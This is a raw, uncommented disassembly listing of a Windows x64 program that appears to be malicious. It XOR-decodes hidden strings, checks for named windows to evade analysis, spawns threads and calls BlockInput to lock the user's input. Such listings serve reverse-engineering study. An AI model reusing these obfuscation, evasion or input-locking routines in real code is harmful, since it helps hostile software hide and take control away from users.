lea r9, [rbp - 0x48]
lea r8, [rsp + 0x3c]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
nop
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400502cb
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400502c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400502c6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
mov dword [rsp + 0x30], 0xfeadaeef
mov dword [rsp + 0x34], 0xfbb3fbf9
mov dword [rsp + 0x38], 0x100c5e7
mov rcx, rbx
nop
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x1400502f0
mov byte [rsp + 0x3b], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x3a]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
nop
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005036b
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050366
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050366
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
movdqa xmm0, xmmword [0x1400e7a50]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], Ordinal_200
mov byte [rsp + 0x52], 1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x11
jb 0x1400503a0
mov byte [rsp + 0x52], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x51]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
nop
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005041b
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050416
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050416
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
movdqa xmm0, xmmword [0x1400e7a10]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x10
jb 0x140050440
mov byte [rsp + 0x51], 0
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140050602
mov dword [rsp + 0x30], 0xf5f4fdda
mov dword [rsp + 0x34], 0xc8bde5e9
mov dword [rsp + 0x38], 0xc7d6c5f6
mov word [rsp + 0x3c], Ordinal_211
mov byte [rsp + 0x3e], 1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xd
jb 0x1400504a0
mov byte [rsp + 0x3e], 0
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140050602
mov dword [rsp + 0x30], 0xf9f6eac7
mov dword [rsp + 0x34], 0xbeeeeffe
mov dword [rsp + 0x38], 0xd6d2c9d3
mov word [rsp + 0x3c], 0x100
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xc
jb 0x1400504f0
mov byte [rsp + 0x3d], 0
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140050602
mov dword [rsp + 0x30], 0xefddebdc
mov dword [rsp + 0x34], 0xecf8ecf6
mov word [rsp + 0x38], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 8
jb 0x140050540
mov byte [rsp + 0x39], 0
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140050602
mov dword [rsp + 0x30], 0xcacdccdf
mov dword [rsp + 0x34], 0xfcf8d8bb
mov dword [rsp + 0x38], 0xc7c6c7ea
mov word [rsp + 0x3c], Ordinal_211
mov byte [rsp + 0x3e], 1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xd
jb 0x1400505a0
mov byte [rsp + 0x3e], 0
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140050602
mov dword [rsp + 0x30], 0xe3f5f4d8
mov dword [rsp + 0x34], 0xfafedf
mov byte [rsp + 0x38], 1
mov rcx, rbx
nop
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 7
jb 0x1400505e0
mov byte [rsp + 0x38], 0
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
call fcn.14004d800
mov ecx, 8
call fcn.1400c91b8
lea rcx, [0x140049a00]
mov qword [rax], rcx
mov qword [rbp - 0x48], rax
or esi, 4
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140057ab0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14005208c
cmp dword [rsp + 0x48], 0
je 0x140052080
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052080
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea ecx, [rax + 8]
call fcn.1400c91b8
lea rcx, [0x140049e00]
mov qword [rax], rcx
mov qword [rbp - 0x48], rax
or esi, 8
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140057ab0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140052070
cmp dword [rsp + 0x48], 0
je 0x140052064
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052064
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea ecx, [rax + 8]
call fcn.1400c91b8
lea rcx, [0x14004a000]
mov qword [rax], rcx
mov qword [rbp - 0x48], rax
or esi, 0x40
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140057ab0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140052054
cmp dword [rsp + 0x48], 0
je 0x140052048
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052048
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea ecx, [rax + 8]
call fcn.1400c91b8
lea rcx, [0x1400495f0]
mov qword [rax], rcx
mov qword [rbp - 0x48], rax
or esi, 0x20
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140057ab0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140052038
cmp dword [rsp + 0x48], 0
je 0x14005202c
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005202c
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea ecx, [rax + 8]
call fcn.1400c91b8
lea rcx, [0x14004b260]
mov qword [rax], rcx
mov qword [rbp - 0x48], rax
or esi, 0x10
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140057ab0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14005201c
cmp dword [rsp + 0x48], 0
je 0x140052010
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052010
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [0x1400fb090]
call fcn.1400beea0
cmp byte [0x1400fb2a0], 0
jne 0x140050ab1
call fcn.14004bbd0
lea rax, [rsp + 0x60]
mov qword [rbp - 0x60], rax
lea rdx, [rbp - 0x48]
call fcn.1400520e0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x1400508b1
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140054040
mov rdi, rax
lea rdx, [rbp + 0x30]
call fcn.1400520a0
mov r9, rax
cmp byte [rax + 0x2c], 0
je 0x140050a5c
cmp r15d, 2
jl 0x140050a25
movdqa xmm5, xmmword [0x1400e77b0]
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm6, xmmword [0x1400e77d0]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x140050923
cmp eax, 0x2d
jge 0x140050a5c
movsxd r8, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x2d
jl 0x140050a30
mov rdx, r9
lea rcx, [rbp - 0x80]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140054040
nop
mov rdx, rdi
mov rcx, rax
call fcn.14004b970
nop
lea rcx, [rbp - 0x80]
call fcn.140053f20
nop
lea rcx, [rbp - 0x10]
call fcn.140053f20
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x1400fb090]
call fcn.1400bbcd0
test al, al
je 0x140050ce1
call fcn.14004bbd0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rdx, [rbp - 0x48]
call fcn.1400520e0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140050aee
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140054040
mov rdi, rax
lea rdx, [rbp + 0x30]
call fcn.1400520f0
mov r9, rax
cmp byte [rax + 0x5f], 0
je 0x140050c8c
cmp r15d, 2
jl 0x140050c5d
movdqa xmm5, xmmword [0x1400e77b0]
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm6, xmmword [0x1400e77d0]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x60
jl 0x140050b60
jmp 0x140050c8c
mov r8, r9
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x60
jl 0x140050c60
mov rdx, r9
lea rcx, [rbp - 0x80]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140054040
nop
mov rdx, rdi
mov rcx, rax
call fcn.14004b970
nop
lea rcx, [rbp - 0x80]
call fcn.140053f20
nop
lea rcx, [rbp - 0x10]
call fcn.140053f20
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [0x1400e5cc8]
movsd qword [rsp + 0x30], xmm0
movzx ecx, word [0x1400e5cd0]
mov word [rsp + 0x38], cx
movzx eax, byte [0x1400e5cd2]
mov byte [rsp + 0x30], 0x43
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor cl, 0x39
mov byte [rsp + 0x38], cl
xor byte [rsp + 0x39], 0x3a
xor al, 0x3b
mov byte [rsp + 0x3a], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rax, [rsp + 0x30]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140050d80
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400564b0
nop
lea rdi, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdi, qword [rbp - 0x80]
lea rax, [0x1400e5f40]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
bts esi, 0xb
mov dword [rbp - 0x48], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xa0], rax
mov byte [rbp + 0x11c], 0
mov byte [rbp + 0x111], 0
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x120], rbx
mov rax, qword [0x1400fb508]
mov qword [rbp + 0x114], rax
mov qword [rbp + 0x108], rbx
mov r8d, 1
mov rdx, rdi
lea rcx, [rbp + 0xa0]
call fcn.140054620
test rax, rax
jne 0x140050ea6
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140050ee4
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050edf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050edf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp qword [rbp + 0x120], 0
je 0x140051d75
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x90]
call fcn.140055fd0
lea rcx, [rbp + 0xa0]
call fcn.140054560
test rax, rax
jne 0x140050f45
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140054080
mov rdx, rax
lea rcx, [0x1400fb090]
call fcn.1400c02c0
cmp byte [0x1400fb2a0], 0
jne 0x140051192
lea rdx, [rsp + 0x30]
call fcn.1400521b0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140050fae
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdi, rax
lea rdx, [rbp + 0x30]
call fcn.1400521e0
mov r9, rax
cmp byte [rax + 0x29], 0
je 0x14005114c
cmp r15d, 2
jl 0x140051115
movdqa xmm5, xmmword [0x1400e77b0]
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm6, xmmword [0x1400e77d0]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x140051013
cmp eax, 0x2a
jge 0x14005114c
movsxd r8, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x2a
jl 0x140051120
mov rdx, r9
lea rcx, [rsp + 0x60]
call fcn.140054040
mov rcx, rax
call fcn.140053e00
mov r9d, Ordinal_50
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rsp + 0x60]
call fcn.140053f20
nop
lea rcx, [rbp - 0x10]
call fcn.140053f20
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140039810
test al, al
jne 0x140051d3a
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
mov eax, dword [0x1400e5d80]
mov dword [rbp - 0x48], eax
movzx ecx, word [0x1400e5d84]
mov word [rbp - 0x44], cx
movzx eax, byte [0x1400e5d86]
mov byte [rbp - 0x48], 0x35
xor byte [rbp - 0x47], 0x32
xor byte [rbp - 0x46], 0x33
xor byte [rbp - 0x45], 0x34
xor cl, 0x35
mov byte [rbp - 0x44], cl
xor byte [rbp - 0x43], 0x36
xor al, 0x37
mov byte [rbp - 0x42], al
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x48]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051210
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x40]
call fcn.1400564b0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, r14
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140051250
lea rcx, [rsp + 0x60]
call fcn.1400564b0
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x10]
lea rcx, [0x1400fb090]
call fcn.1400bce80
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400512ba
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400512b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400512b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
cmp byte [0x1400fb2a0], 0
jne 0x1400515dc
lea rdx, [rsp + 0x30]
call fcn.14004d720
mov r10, rax
cmp byte [rax + 7], 0
je 0x140051420
cmp r15d, 2
jl 0x1400513e2
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm2, xmmword [0x1400e77b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
mov eax, dword [str.1111111111111111]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400e77c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
